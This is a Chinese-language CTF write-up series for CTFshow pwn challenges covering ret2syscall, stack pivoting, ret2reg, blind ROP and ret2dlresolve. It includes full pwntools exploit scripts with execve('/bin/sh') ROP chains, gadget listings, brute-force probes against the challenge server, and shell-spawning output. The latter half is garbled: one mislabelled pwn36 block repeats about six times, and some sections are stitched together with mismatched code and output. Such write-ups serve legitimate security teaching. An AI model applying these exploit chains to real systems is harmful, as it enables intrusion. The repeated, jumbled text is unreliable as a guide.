int __cdecl main(int argc, constchar **argv, constchar **envp) { int v4; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("===============CTFshow--PWN==============="); puts("Try to use ret2syscall!"); gets(&v4); return0; }
简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell
execve("/bin/sh",NULL,NULL)
其中,该程序是 32 位,所以我们需要使得
系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
找一下控制eax,ebx的gadget:
$ ROPgadget --binary pwn --only 'pop|ret' | grep 'eax' 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x080bb196 : pop eax ; ret 0x0807217a : pop eax ; ret 0x80e 0x0804f704 : pop eax ; ret 3 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
$ ROPgadget --binary pwn --only 'pop|ret' | grep 'ebx' 0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret 0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret 0x080be23f : pop ebx ; pop edi ; ret 0x0806eb69 : pop ebx ; pop edx ; ret 0x08092258 : pop ebx ; pop esi ; pop ebp ; ret 0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10 0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14 0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc 0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4 0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8 0x08048913 : pop ebx ; pop esi ; pop edi ; ret 0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4 0x08049a94 : pop ebx ; pop esi ; ret 0x080481c9 : pop ebx ; ret 0x080d7d3c : pop ebx ; ret 0x6f9 0x08099c87 : pop ebx ; ret 8 0x0806eb91 : pop ecx ; pop ebx ; ret 0x0806336b : pop edi ; pop esi ; pop ebx ; ret 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret 0x0805c820 : pop esi ; pop ebx ; ret 0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x0807b6ed : pop ss ; pop ebx ; ret
$ ROPgadget --binary pwn --only 'int' Gadgets information ============================================================ 0x08049421 : int 0x80 0x080890b5 : int 0xcf
$ python3 exp.py [+] Starting local process './pwn': pid 350 [*] Switching to interactive mode ===============CTFshow--PWN=============== Try to use ret2syscall! $ ls ctfshow_flag
pwn72
Hint:接着练ret2syscall,多系统函数调用
checksec检查保护
$ chmod +x pwn $ checksec pwn && file pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=c06741f25faef9ff5996e7c0cbdad362f43ce572, not stripped
32位关闭栈保护与PIE,静态编译
32位IDA查看main函数:
int __cdecl main(int argc, constchar **argv, constchar **envp) { int v4; // [esp+10h] [ebp-20h] BYREF
setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("CTFshow-PWN"); puts("where is my system?"); gets(&v4); puts("Emmm"); return0; }
依据上一题的做法,发现程序中并没有了“/bin/sh”字符串:
$ ROPgadget --binary pwn --string '/bin/sh' Strings information ============================================================
由于是静态编译,找一下程序中是否有read函数:
确实是有的。那么我们就得利用read函数来进行手动写入“/bin/sh”字符串。
构造payload可以使用read函数,在内存地址中读取之后用户输入的/bin/sh 先找到 eax,ebx,ecx,edx 以及 int 0x80 的地址
$ ROPgadget --binary pwn --only 'pop|ret' | grep 'eax' 0x080bb2c6 : pop eax ; ret
$ ROPgadget --binary pwn --only 'pop|ret' | grep 'ebx' 0x0806ecb0 : pop edx ; pop ecx ; pop ebx ; ret
$ ROPgadget --binary pwn --only 'int' Gadgets information ============================================================ 0x08049421 : int 0x80 #找到的这个 int 0x80 无法使用,因为没有 ret 无法执行后面的系统调用 $ ROPgadget --binary pwn --multibr --depth=3 | grep -A2 'int 0x80' | grep 'ret' 0x0806f350 : int 0x80 ; ret #这个才对
#这个也可以 from pwn import * elf = ELF('./pwn') rop = ROP(elf) # 搜索int 0x80; ret int_ret = rop.find_gadget(['int 0x80', 'ret']).address print(f"Found int 0x80; ret at 0x{int_ret:x}")
[+] Gadget found: 0x8051035 mov dword ptr [esi], edi ; pop ebx ; pop esi ; pop edi ; ret [+] Gadget found: 0x8048433 pop esi ; ret [+] Gadget found: 0x8048480 pop edi ; ret [-] Can't find the 'xor edi, edi' gadget. Try with another 'mov [r], r' [+] Gadget found: 0x80549db mov dword ptr [edx], eax ; ret [+] Gadget found: 0x806f02a pop edx ; ret [+] Gadget found: 0x80b81c6 pop eax ; ret [+] Gadget found: 0x8049303 xor eax, eax ; ret - Step 2 -- Init syscall number gadgets [+] Gadget found: 0x8049303 xor eax, eax ; ret [+] Gadget found: 0x807a86f inc eax ; ret - Step 3 -- Init syscall arguments gadgets [+] Gadget found: 0x80481c9 pop ebx ; ret [+] Gadget found: 0x80de955 pop ecx ; ret [+] Gadget found: 0x806f02a pop edx ; ret - Step 4 -- Syscall gadget [+] Gadget found: 0x806cc25 int 0x80 - Step 5 -- Build the ROP chain #!/usr/bin/env python3 # execve generated by ROPgadget from struct import pack # Padding goes here p = b'' p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080b81c6) # pop eax ; ret p += b'/bin' p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea064) # @ .data + 4 p += pack('<I', 0x080b81c6) # pop eax ; ret p += b'//sh' p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08049303) # xor eax, eax ; ret p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080de955) # pop ecx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08049303) # xor eax, eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0806cc25) # int 0x80
from pwn import * from struct import pack context.log_level = 'debug' io = process("./pwn") #io = remote("pwn.challenge.ctf.show", 28202) # Padding goes here p = cyclic(0x18+4) p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080b81c6) # pop eax ; ret p += b'/bin' p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea064) # @ .data + 4 p += pack('<I', 0x080b81c6) # pop eax ; ret p += b'//sh' p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08049303) # xor eax, eax ; re p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080de955) # pop ecx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08049303) # xor eax, eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0806cc25) # int 0x80 io.sendline(p) io.interactive()
$ python3 exp.py [+] Starting local process './pwn': pid 453 [*] Switching to interactive mode Try to Show-hand!! $ ls ctfshow_flag
$ python3 exp.py [+] Starting local process './pwn': pid 209 [*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled 0x64e40 [*] Switching to interactive mode $ ls ctfshow_flag
pwn75(栈迁移)
Hint:栈空间不够怎么办?
checksec检查保护
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
32位开启NX保护,部分开启RELRO
简单运行程序发现有两次输入点:
$ ./pwn * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Stack_Overflow * Site : https://ctf.show/ * Hint : Not enough stack space? * ************************************* Old friends have not seen each other for a long time! To confirm your identity, please enter your codename: rhea Welcome, rhea
What do you want to do? cat flag Nothing here ,cat flag
int __cdecl main(int argc, constchar **argv, constchar **envp) { init(&argc); logo(); puts("Old friends have not seen each other for a long time!"); puts("To confirm your identity, please enter your codename:"); ctfshow(); return0; }
$ python3 exp.py [+] Starting local process './pwn': pid 231 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No ebp=0xfff36f08 [*] Switching to interactive mode \xb5\x87\x04\x08 o\xf3\xff4N\x02\xf3 What do you want to do? Nothing here , $ ls ctfshow_flag
pwn76
Hint:还是那句话,理清逻辑很重要
checksec检查保护
$ chmod +x pwn $ checksec pwn && file pwn Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=e09ec7145440153c4b3dedc3c7a8e328d9be6b55, not stripped
int __cdecl Base64Decode(_BYTE *p_s, int *a2) { int v2; // eax int v3; // eax int v4; // eax int v5; // eax int v7; // [esp+1Ch] [ebp-1Ch] int v8; // [esp+20h] [ebp-18h] int v9; // [esp+24h] [ebp-14h] int v10; // [esp+2Ch] [ebp-Ch]
setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("CTFshowPWN!"); puts("where is my system_x64?"); gets(v4); puts("fuck"); return0; }
明显的栈溢出漏洞,题目描述也说了64位的ret2syscall
与32位不同,需要注意以下几点
存储参数的寄存器名不同
ret返回的函数名不同
32位为int 0x80,64位为syscall ret
$ ROPgadget --binary ./pwn | grep "pop" | grep "ret" 0x00000000004016c3 : pop rdi ; ret 0x000000000046b9f8 : pop rax ; ret 0x00000000004377f9 : pop rdx ; pop rsi ; ret
$ python3 exp.py [+] Starting local process './pwn': pid 111 [*] Switching to interactive mode CTFshowPWN! where is my system_x64? fuck $ ls ctfshow_flag
pwn79
Hint:你需要注意某些函数,这是解题的关键!
ret2reg原理:
查看溢出函返回时哪个寄存值指向溢出缓冲区空间
查找 call reg 或者 jmp reg 指令,将 EIP 设置为该指令地址
reg 所指向的空间上注入 Shellcode (需要确保该空间是可以执行的,但通常都是栈上的)
checksec检查保护
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No Debuginfo: Yes
32位程序,仅部分开启RELRO
IDA查看main函数:
int __cdecl main(int argc, constchar **argv, constchar **envp) { int input[512]; // [esp+0h] [ebp-808h] BYREF int *p_argc; // [esp+800h] [ebp-8h]
$ nc pwn.challenge.ctf.show 28277 * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Stack_Overflow * Site : https://ctf.show/ * Hint : Blind rop ! * ************************************* Welcome to CTFshow-PWN ! Do you know who is daniu?
简单尝试是否存在栈溢出漏洞,正常输入较短字符串:
Welcome to CTFshow-PWN ! Do you know who is daniu? yes i know No passwd,See you!
输入超长字符串:
$ cyclic 200 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab $ nc pwn.challenge.ctf.show 28232 Welcome to CTFshow-PWN ! Do you know who is daniu? aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab timeout: the monitored command dumped core
那么很明显存在栈溢出漏洞了。
第一步(暴力枚举出栈溢出长度):
from pwn import * defGet_buf_length(): i = 1#表示尝试填入的栈长度 while1: try: io = remote('pwn.challenge.ctf.show', 28227) io.recvuntil(b"Welcome to CTFshow-PWN ! Do you know who is daniu?\n") # 构造 payload,发送 i 个 'a' io.send(i * b'a') data = io.recv() print(data) io.close() # 判断返回数据,若不是正常的 'No passwd' 开头,说明溢出 ifnot data.startswith(b'No passwd'): return i - 1#当已经无法正常返回的时候说明已经破坏到了返回值故实际需填充的长度需减一 else: # 没溢出,继续增大长度尝试 i += 1 except EOFError: # 程序崩溃,说明溢出,返回当前 i-1 io.close() return i - 1
$ python3 exp.py [+] Opening connection to pwn.challenge.ctf.show on port 28227: Done b'No passwd,See you!\n' [*] Closed connection to pwn.challenge.ctf.show port 28227 ... 最终探测到的缓冲区长度为: 72
from pwn import * buf_length=72 defGet_Stop_Addr(): address = 0x400000 #在 Linux 系统中,32 位 ELF 程序默认加载基地址通常是 0x8048000,而 64 位 ELF 程序默认加载基地址通常是 0x400000,这是 CTF PWN 题中寻找有效地址(如 gadget、函数地址)的常见起点选择 while1: print(hex(address)) try: io = remote('pwn.challenge.ctf.show',28227) io.recvuntil(b'Do you know who is daniu?\n') payload = b'a'*buf_length + p64(address) io.send(payload) output = io.recv() ifnot output.startswith(b'Welcome to CTFshow-PWN ! Do you know who is daniu?'): io.close() address += 1 else: return address except EOFError: address += 1 io.close() stop_gadgets = Get_Stop_Addr() print(f"最终确定的stop gadget地址: {hex(stop_gadgets)}")
$ python3 exp.py 0x400700 ... 0x400727 [+] Opening connection to pwn.challenge.ctf.show on port 28227: Done [*] Closed connection to pwn.challenge.ctf.show port 28227 0x400728 [+] Opening connection to pwn.challenge.ctf.show on port 28227: Done 最终探测到的缓冲区长度为: 0x400728 [*] Closed connection to pwn.challenge.ctf.show port 28227
使用 gets 函数从标准输入读取一行字符串,并将其存储在 s 数组中。然后,返回指向 s 的指针。 gets 函数是非常不安全的,容易导致缓冲区溢出漏洞。因为它无法限制输入的长度,可能会超出s 数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,s距ebp仅有0x28,而gets不限制输入长度。
使用 gets 函数从标准输入读取一行字符串,并将其存储在 s 数组中。然后,返回指向 s 的指针。 gets 函数是非常不安全的,容易导致缓冲区溢出漏洞。因为它无法限制输入的长度,可能会超出s 数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,s距ebp仅有0x28,而gets不限制输入长度。
$ python3 exp.py [+] Starting local process './pwn': pid 872 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No [*] Switching to interactive mode * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Stack_Overflow * Site : https://ctf.show/ * Hint : There are backdoor functions here! * ************************************* Find and use it! Enter what you want: flag{just_test_my_process}
pwn83(ret2dlresolve,32 位 Partial-RELRO)
Hint:存在后门函数,如何利用?
checksec检查保护
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No
32位保护仅部分开启RELRO,同时注意到有可读可写可执行的段
32位IDA查看main函数:
int __cdecl main(int argc, constchar **argv, constchar **envp) { setvbuf(stdout, 0, 2, 0); puts(asc_804883C); puts(asc_80488B0); puts(asc_804892C); puts(asc_80489B8); puts(asc_8048A48); puts(asc_8048ACC); puts(asc_8048B60); puts(" * ************************************* "); puts(aClassifyCtfsho); puts(" * Type : Stack_Overflow "); puts(" * Site : https://ctf.show/ "); puts(" * Hint : There are backdoor functions here! "); puts(" * ************************************* "); puts("Find and use it!"); puts("Enter what you want: "); ctfshow(); return0; }
使用 gets 函数从标准输入读取一行字符串,并将其存储在 s 数组中。然后,返回指向 s 的指针。 gets 函数是非常不安全的,容易导致缓冲区溢出漏洞。因为它无法限制输入的长度,可能会超出s 数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,s距ebp仅有0x28,而gets不限制输入长度。
$ python3 exp.py [+] Starting local process './pwn': pid 872 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No [*] Switching to interactive mode * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Stack_Overflow * Site : https://ctf.show/ * Hint : There are backdoor functions here! * ************************************* Find and use it! Enter what you want: flag{just_test_my_process}
pwn36
Hint:存在后门函数,如何利用?
checksec检查保护
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No
32位保护仅部分开启RELRO,同时注意到有可读可写可执行的段
32位IDA查看main函数:
int __cdecl main(int argc, constchar **argv, constchar **envp) { setvbuf(stdout, 0, 2, 0); puts(asc_804883C); puts(asc_80488B0); puts(asc_804892C); puts(asc_80489B8); puts(asc_8048A48); puts(asc_8048ACC); puts(asc_8048B60); puts(" * ************************************* "); puts(aClassifyCtfsho); puts(" * Type : Stack_Overflow "); puts(" * Site : https://ctf.show/ "); puts(" * Hint : There are backdoor functions here! "); puts(" * ************************************* "); puts("Find and use it!"); puts("Enter what you want: "); ctfshow(); return0; }
使用 gets 函数从标准输入读取一行字符串,并将其存储在 s 数组中。然后,返回指向 s 的指针。 gets 函数是非常不安全的,容易导致缓冲区溢出漏洞。因为它无法限制输入的长度,可能会超出s 数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,s距ebp仅有0x28,而gets不限制输入长度。
$ python3 exp.py [+] Starting local process './pwn': pid 872 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No [*] Switching to interactive mode * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Stack_Overflow * Site : https://ctf.show/ * Hint : There are backdoor functions here! * ************************************* Find and use it! Enter what you want: flag{just_test_my_process}
pwn36
Hint:存在后门函数,如何利用?
checksec检查保护
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No
32位保护仅部分开启RELRO,同时注意到有可读可写可执行的段
32位IDA查看main函数:
int __cdecl main(int argc, constchar **argv, constchar **envp) { setvbuf(stdout, 0, 2, 0); puts(asc_804883C); puts(asc_80488B0); puts(asc_804892C); puts(asc_80489B8); puts(asc_8048A48); puts(asc_8048ACC); puts(asc_8048B60); puts(" * ************************************* "); puts(aClassifyCtfsho); puts(" * Type : Stack_Overflow "); puts(" * Site : https://ctf.show/ "); puts(" * Hint : There are backdoor functions here! "); puts(" * ************************************* "); puts("Find and use it!"); puts("Enter what you want: "); ctfshow(); return0; }
使用 gets 函数从标准输入读取一行字符串,并将其存储在 s 数组中。然后,返回指向 s 的指针。 gets 函数是非常不安全的,容易导致缓冲区溢出漏洞。因为它无法限制输入的长度,可能会超出s 数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,s距ebp仅有0x28,而gets不限制输入长度。
$ python3 exp.py [+] Starting local process './pwn': pid 872 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No [*] Switching to interactive mode * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Stack_Overflow * Site : https://ctf.show/ * Hint : There are backdoor functions here! * ************************************* Find and use it! Enter what you want: flag{just_test_my_process}
pwn36
Hint:存在后门函数,如何利用?
checksec检查保护
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No
32位保护仅部分开启RELRO,同时注意到有可读可写可执行的段
32位IDA查看main函数:
int __cdecl main(int argc, constchar **argv, constchar **envp) { setvbuf(stdout, 0, 2, 0); puts(asc_804883C); puts(asc_80488B0); puts(asc_804892C); puts(asc_80489B8); puts(asc_8048A48); puts(asc_8048ACC); puts(asc_8048B60); puts(" * ************************************* "); puts(aClassifyCtfsho); puts(" * Type : Stack_Overflow "); puts(" * Site : https://ctf.show/ "); puts(" * Hint : There are backdoor functions here! "); puts(" * ************************************* "); puts("Find and use it!"); puts("Enter what you want: "); ctfshow(); return0; }
使用 gets 函数从标准输入读取一行字符串,并将其存储在 s 数组中。然后,返回指向 s 的指针。 gets 函数是非常不安全的,容易导致缓冲区溢出漏洞。因为它无法限制输入的长度,可能会超出s 数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,s距ebp仅有0x28,而gets不限制输入长度。
$ python3 exp.py [+] Starting local process './pwn': pid 872 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No [*] Switching to interactive mode * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Stack_Overflow * Site : https://ctf.show/ * Hint : There are backdoor functions here! * ************************************* Find and use it! Enter what you want: flag{just_test_my_process}
pwn36
Hint:存在后门函数,如何利用?
checksec检查保护
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No
32位保护仅部分开启RELRO,同时注意到有可读可写可执行的段
32位IDA查看main函数:
int __cdecl main(int argc, constchar **argv, constchar **envp) { setvbuf(stdout, 0, 2, 0); puts(asc_804883C); puts(asc_80488B0); puts(asc_804892C); puts(asc_80489B8); puts(asc_8048A48); puts(asc_8048ACC); puts(asc_8048B60); puts(" * ************************************* "); puts(aClassifyCtfsho); puts(" * Type : Stack_Overflow "); puts(" * Site : https://ctf.show/ "); puts(" * Hint : There are backdoor functions here! "); puts(" * ************************************* "); puts("Find and use it!"); puts("Enter what you want: "); ctfshow(); return0; }
使用 gets 函数从标准输入读取一行字符串,并将其存储在 s 数组中。然后,返回指向 s 的指针。 gets 函数是非常不安全的,容易导致缓冲区溢出漏洞。因为它无法限制输入的长度,可能会超出s 数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,s距ebp仅有0x28,而gets不限制输入长度。
$ python3 exp.py [+] Starting local process './pwn': pid 872 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No [*] Switching to interactive mode * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Stack_Overflow * Site : https://ctf.show/ * Hint : There are backdoor functions here! * ************************************* Find and use it! Enter what you want: flag{just_test_my_process}
pwn36
Hint:存在后门函数,如何利用?
checksec检查保护
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No
32位保护仅部分开启RELRO,同时注意到有可读可写可执行的段
32位IDA查看main函数:
int __cdecl main(int argc, constchar **argv, constchar **envp) { setvbuf(stdout, 0, 2, 0); puts(asc_804883C); puts(asc_80488B0); puts(asc_804892C); puts(asc_80489B8); puts(asc_8048A48); puts(asc_8048ACC); puts(asc_8048B60); puts(" * ************************************* "); puts(aClassifyCtfsho); puts(" * Type : Stack_Overflow "); puts(" * Site : https://ctf.show/ "); puts(" * Hint : There are backdoor functions here! "); puts(" * ************************************* "); puts("Find and use it!"); puts("Enter what you want: "); ctfshow(); return0; }
使用 gets 函数从标准输入读取一行字符串,并将其存储在 s 数组中。然后,返回指向 s 的指针。 gets 函数是非常不安全的,容易导致缓冲区溢出漏洞。因为它无法限制输入的长度,可能会超出s 数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,s距ebp仅有0x28,而gets不限制输入长度。
$ python3 exp.py [+] Starting local process './pwn': pid 872 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No [*] Switching to interactive mode * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Stack_Overflow * Site : https://ctf.show/ * Hint : There are backdoor functions here! * ************************************* Find and use it! Enter what you want: flag{just_test_my_process}
pwn36
Hint:存在后门函数,如何利用?
checksec检查保护
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No
32位保护仅部分开启RELRO,同时注意到有可读可写可执行的段
32位IDA查看main函数:
int __cdecl main(int argc, constchar **argv, constchar **envp) { setvbuf(stdout, 0, 2, 0); puts(asc_804883C); puts(asc_80488B0); puts(asc_804892C); puts(asc_80489B8); puts(asc_8048A48); puts(asc_8048ACC); puts(asc_8048B60); puts(" * ************************************* "); puts(aClassifyCtfsho); puts(" * Type : Stack_Overflow "); puts(" * Site : https://ctf.show/ "); puts(" * Hint : There are backdoor functions here! "); puts(" * ************************************* "); puts("Find and use it!"); puts("Enter what you want: "); ctfshow(); return0; }
使用 gets 函数从标准输入读取一行字符串,并将其存储在 s 数组中。然后,返回指向 s 的指针。 gets 函数是非常不安全的,容易导致缓冲区溢出漏洞。因为它无法限制输入的长度,可能会超出s 数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,s距ebp仅有0x28,而gets不限制输入长度。
$ python3 exp.py [+] Starting local process './pwn': pid 872 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No [*] Switching to interactive mode * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Stack_Overflow * Site : https://ctf.show/ * Hint : There are backdoor functions here! * ************************************* Find and use it! Enter what you want: flag{just_test_my_process}
pwn36
Hint:存在后门函数,如何利用?
checksec检查保护
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No
32位保护仅部分开启RELRO,同时注意到有可读可写可执行的段
32位IDA查看main函数:
